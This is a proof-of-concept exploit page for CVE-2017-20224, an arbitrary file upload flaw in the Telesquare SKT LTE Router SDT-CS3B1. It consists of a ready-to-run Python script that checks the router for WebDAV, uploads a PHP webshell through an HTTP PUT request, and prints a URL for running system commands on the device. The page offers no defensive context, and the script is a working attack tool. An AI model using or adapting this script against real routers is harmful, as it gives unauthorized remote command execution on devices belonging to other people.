CVE-2017-20224 Telesquare SKT LTE Router SDT-CS3B1 任意文件上传漏洞

#!/usr/bin/env python3 """ CVE-2017-20224 PoC - Telesquare SKT LTE Router SDT-CS3B1 Arbitrary File Upload Target: Telesquare SKT LTE Router SDT-CS3B1 version 1.2.0 Vulnerability: WebDAV arbitrary file upload via PUT method """ import requests import sys def upload_shell(target_ip, target_port=80): """ Upload a PHP webshell to the target router via WebDAV PUT method """ # PHP webshell content webshell = b'<?php system($_GET["cmd"]); ?>' # Target URL with WebDAV enabled path url = f"http://{target_ip}:{target_port}/webdav/shell.php" # HTTP headers for WebDAV PUT request headers = { 'Content-Type': 'application/octet-stream', 'Destination': 'http://target/webdav/shell.php' } print(f"[*] Attempting to upload webshell to {url}") try: # Send PUT request to upload the webshell response = requests.put(url, data=webshell, headers=headers, timeout=10) if response.status_code in [201, 204]: print("[+] Webshell uploaded successfully!") print(f"[+] Access shell at: http://{target_ip}:{target_port}/webdav/shell.php?cmd=whoami") return True else: print(f"[-] Upload failed with status code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def check_webdav(target_ip, target_port=80): """ Check if WebDAV methods are enabled on the target """ url = f"http://{target_ip}:{target_port}/" print(f"[*] Checking WebDAV support on {url}") # Check OPTIONS to see allowed methods try: response = requests.options(url, timeout=10) allowed_methods = response.headers.get('Allow', 'Not specified') print(f"[*] Allowed methods: {allowed_methods}") if 'PUT' in allowed_methods or 'PROPFIND' in allowed_methods: print("[+] WebDAV methods are enabled - target may be vulnerable") return True else: print("[-] WebDAV methods not detected") return False except requests.exceptions.RequestException as e: print(f"[-] Check failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") print(f"Example: {sys.argv[0]} 192.168.1.1 80") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 # First check if target is vulnerable if check_webdav(target, port): # Attempt to upload webshell upload_shell(target, port)